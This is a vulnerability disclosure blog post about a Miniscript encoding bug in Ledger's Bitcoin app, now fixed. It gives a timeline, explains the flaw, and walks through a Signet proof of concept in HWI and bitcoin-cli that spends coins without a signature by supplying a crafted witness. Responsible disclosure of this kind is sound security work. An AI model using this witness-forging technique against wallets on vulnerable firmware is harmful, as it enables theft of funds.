Back to blog list
Bitcoin
Security
Ledger

Published on Thu, May 11, 2023 by Antoine Poinsot

Ledger vulnerability disclosure

Disclosing a vulnerability in Ledger's Bitcoin application implementation of Miniscript

Blog image cover
I didn't want to use a lame picture of a pwned Ledger, so here is a picture of Kevin and i eating pizza in Santo Domingo.

On the 7th of April, as we were testing the (ever delayed) 0.4 release of Liana, Kevin Loaec found what we thought to be a severe bug in the Liana GUI, preventing one to sign a transaction with their Ledger Nano S(+). It would turn out to uncover a bug in the Ledger Bitcoin application’s implementation of Miniscript, which can potentially allow for bypassing some spending conditions advertized to the user but not actually present in the generated Bitcoin Script. That is, enabling theft.

Before diving into an explanation of the bug and reproduction instructions, let me emphasize that we do not intend to overwhelm the Ledger team of developers and reviewers that worked on the Bitcoin application (and more specifically Salvatore). We all make mistakes and create bugs. Being at the forefront of Bitcoin technological innovation brings a lot of value to their users. You can’t both be leading the way and learn from the mistakes of your predecessors.

On the contrary, it’s rather a good things that we catch those bugs now that there is only very few (to none) users of such functionalities. What’s now time-tested didn’t become so without any bug along the path. Liana was probably the only wallet to provide a full integration of Ledger’s Miniscript capabilities, and no release of Liana allowed a user to create a Miniscript descriptor that was affected by this bug. So if anybody was affected by this vulnerability, they must have been using advanced hand-rolled tooling.

Timeline

We discovered the bug on the 7th of April. Antoine put up reproduction instruction on the same day in a private Gist (available here). We then reported the vulnerability to Ledger through their bug bounty program and to Salvatore Ingala.

The Ledger security team acknowledged reception on the 11th. A fix was deployed in the Bitcoin application. They later informed us (on the 14th) this finding was elligible to a bug bounty.

On the 13th, and after receiving agreement from the Ledger security team, Antoine disclosed the vulnerability to maintainers of projects whose users could potentially be affected.

On May 10th the version 2.1.2 of the Ledger Bitcoin app was released with a fix. Salvatore Ingala also took care to update the client libraries in various languages to error when trying to register an affected descriptor on a Ledger running an affected Bitcoin application.

On May 11th the Ledger security team gave us the go ahead to announce the vulnerability.

Description of the bug

The Miniscript fragment a:X was incorrectly encoded by the Ledger Bitcoin application. Instead of translating to:

OP_TOALTSTACK X OP_FROMALTSTACK

It was encoded to:

OP_TOALTSTACK X

This opens the possibility for the spender to always provide the return value of the expression preceding a a: in a Miniscript. This implies any type of check (preimage, signature, timelock) preceding a a: may be bypassed (just feed a 1 at the correct place in the witness).

Let’s take a very simple example. The Miniscript and_b(pk(A),a:1) corresponds to the Bitcoin Script:

<A> OP_CHECKSIG OP_TOALTSTACK 1 OP_FROMALTSTACK OP_BOOLAND

And is only spendable by a witness stack that includes a signature for the public key A: <sig_A>.

But the Ledger Bitcoin app would encode it (when generating an address for instance) as:

<A> OP_CHECKSIG OP_TOALTSTACK 1 OP_BOOLAND

Which makes the script, first, unspendable with the witness stack dictated by the Miniscript satisfier from above, but also trivially spendable without any signature from public key A: <1> <>. Note that the Bitcoin Script interpreter does not check the altstack for the cleanstack rule.

I have reproduced this very example on Signet: c68ca96c44359ca6d2eabc470232d26103f637fc1ba0c3f9b8c11ce671242508 spends an output to an an address generated by a Ledger Nano S+ using the policy wsh(and_b(A,a:1)). The witness in this transaction’s input does not provide any signature on the stack.

Reproduction instructions

For simplicity, i’ve used the PR that adds support for wallet policies to HWI: https://github.com/bitcoin-core/HWI/pull/647 (at ad07c9e06047521bca6183b7c2d4d4e16d15cef7).

git clone https://github.com/bitcoin-core/HWI
cd HWI
git fetch origin pull/647/head
git checkout FETCH_HEAD

Create a virtualenv to install HWI’s dependencies:

python3 -m venv venv
. venv/bin/activate
pip install poetry
poetry install

Connect your Ledger Nano S or Nano S+ with a Bitcoin testnet app version >= 2.1.0 and <2.1.2rc2, unlock it and go in the Bitcoin app. Then get the master xpub’s fingerprint and get an xpub from a standard path (i’m using the path we use for Liana):

./hwi.py enumerate
./hwi.py --device-type ledger getxpub "48'/1'/1'/2'"

Now you’ve got the fingerprint, derivation path and xpub you can register the policy on the device and query an address from it:

./hwi.py --chain regtest --device-type ledger registerpolicy --name repro --policy "wsh(and_b(pk(@0/**),a:1))" --keys "[\"[636adf3f/48'/1'/1'/2']tpubDDvF2khuoBBj8vcSjQfa7iKaxsQZE7YjJ7cJL8A8eaneadMPKbHSpoSr4JD1F5LUvWD82HCxdtSppGfrMUmiNbFxrA2EHEVLnrdCFNFe75D\"]"
./hwi.py --chain regtest --device-type ledger displayaddress --name repro --policy "wsh(and_b(pk(@0/**),a:1))" --keys "[\"[636adf3f/48'/1'/1'/2']tpubDDvF2khuoBBj8vcSjQfa7iKaxsQZE7YjJ7cJL8A8eaneadMPKbHSpoSr4JD1F5LUvWD82HCxdtSppGfrMUmiNbFxrA2EHEVLnrdCFNFe75D\"]" --extra '{"proof_of_registration": "d450f8379681e629c843f829bcbf753504b43686ac6ec91e95370f0eba32f361"}'

With my own testing device, i’ve gotten tb1qr7p6nntfs3n3kq8d4nrdrxan6ss3dj88rjh4g5qqfgzxmrqmnh5qsqd2gw.

Now send some funds to the address and create a transaction spending from it. For convenience i’ve used a PSBT to simply edit the “final witness” field eventually:

$ bitcoin-cli -signet -rpcwallet=main sendtoaddress tb1qr7p6nntfs3n3kq8d4nrdrxan6ss3dj88rjh4g5qqfgzxmrqmnh5qsqd2gw 0.001
8a49eb7702e3a1d9b2bd76eba157e5af0ef3bf923cc62e710e5ddb8d51eb6253
& bitcoin-cli -signet createpsbt '[{"txid":"8a49eb7702e3a1d9b2bd76eba157e5af0ef3bf923cc62e710e5ddb8d51eb6253","vout":0}]' '[{"tb1qtgwnt3wwapxwfnze8ujwrd98xgsuz4c3a75grg":0.0009}]'
cHNidP8BAFICAAAAAVNi61GN210OcS7GPJK/8w6v5Veh63a9stmh4wJ360mKAAAAAAD9////AZBfAQAAAAAAFgAUWh01xc7oTOTMWT8k4bSnMiHBVxEAAAAAAAAA

Now create the witness. The regular witness for this Miniscript would have been <sig A>, the signature for public key A. But since FROMALTSTACK is missing in the Script we can spend using the witness <1> <>: the top stack empty vector dissatisfies the CHECKSIG, whose result is moved to the alt stack but not moved back to the main stack. Then BOOLAND is executed with the second witness item provided, <1>.

To reconstruct the whole witness we also need the witness script corresponding to this address. Since in this example it is trivial we can simply reconstruct it by hand. First derive the xpub used above at the right derivation. We’ve used the first address from the receive keychain, so it’s tpubDDvF2khuoBBj8vcSjQfa7iKaxsQZE7YjJ7cJL8A8eaneadMPKbHSpoSr4JD1F5LUvWD82HCxdtSppGfrMUmiNbFxrA2EHEVLnrdCFNFe75D/0/0. Using python-bip32 i got the derived public key 0287f0385dfbdd3ec3833db584d1572e278ba2d804eb3b3da62ae676dc42464fd3:

>>> import bip32
>>> bip32.BIP32.from_xpub("tpubDDvF2khuoBBj8vcSjQfa7iKaxsQZE7YjJ7cJL8A8eaneadMPKbHSpoSr4JD1F5LUvWD82HCxdtSppGfrMUmiNbFxrA2EHEVLnrdCFNFe75D").get_pubkey_from_path("m/0/0").hex()
'0287f0385dfbdd3ec3833db584d1572e278ba2d804eb3b3da62ae676dc42464fd3'

The witness script is <0287f0385dfbdd3ec3833db584d1572e278ba2d804eb3b3da62ae676dc42464fd3> OP_CHECKSIG OP_TOALTSTACK 1 OP_BOOLAND, that is 210287f0385dfbdd3ec3833db584d1572e278ba2d804eb3b3da62ae676dc42464fd3ac6b519a. The full witness is therefore:

0301010026210287f0385dfbdd3ec3833db584d1572e278ba2d804eb3b3da62ae676dc42464fd3ac6b519a

(First byte is the number of elements, 3, followed by each element preceded by its size)

I personally then edited the PSBT from above with this final witness using the pretty handy https://bip174.org/ tool.

Finalize the PSBT edited with the final witness and broadcast the transaction:

$ bitcoin-cli -signet finalizepsbt cHNidP8BAFICAAAAAVNi61GN210OcS7GPJK/8w6v5Veh63a9stmh4wJ360mKAAAAAAD9////AZBfAQAAAAAAFgAUWh01xc7oTOTMWT8k4bSnMiHBVxEAAAAAAAEIKwMBAQAmIQKH8Dhd+90+w4M9tYTRVy4ni6LYBOs7PaYq5nbcQkZP06xrUZoAAA==                                                                                                              
{                                                                                                                                                                                                                                                                                                                                                                          
  "hex": "020000000001015362eb518ddb5d0e712ec63c92bff30eafe557a1eb76bdb2d9a1e30277eb498a0000000000fdffffff01905f0100000000001600145a1d35c5cee84ce4cc593f24e1b4a73221c157110301010026210287f0385dfbdd3ec3833db584d1572e278ba2d804eb3b3da62ae676dc42464fd3ac6b519a00000000",                                                                                                 
  "complete": true                                                                                                                                                                                                                                                                                                                                                         
}
$ bitcoin-cli -signet sendrawtransaction 020000000001015362eb518ddb5d0e712ec63c92bff30eafe557a1eb76bdb2d9a1e30277eb498a0000000000fdffffff01905f0100000000001600145a1d35c5cee84ce4cc593f24e1b4a73221c157110301010026210287f0385dfbdd3ec3833db584d1572e278ba2d804eb3b3da62ae676dc42464fd3ac6b519a00000000
c68ca96c44359ca6d2eabc470232d26103f637fc1ba0c3f9b8c11ce671242508

Ta-dam! You effectively spent from this address without any signature, bypassing the signature check. See the transaction on Signet here.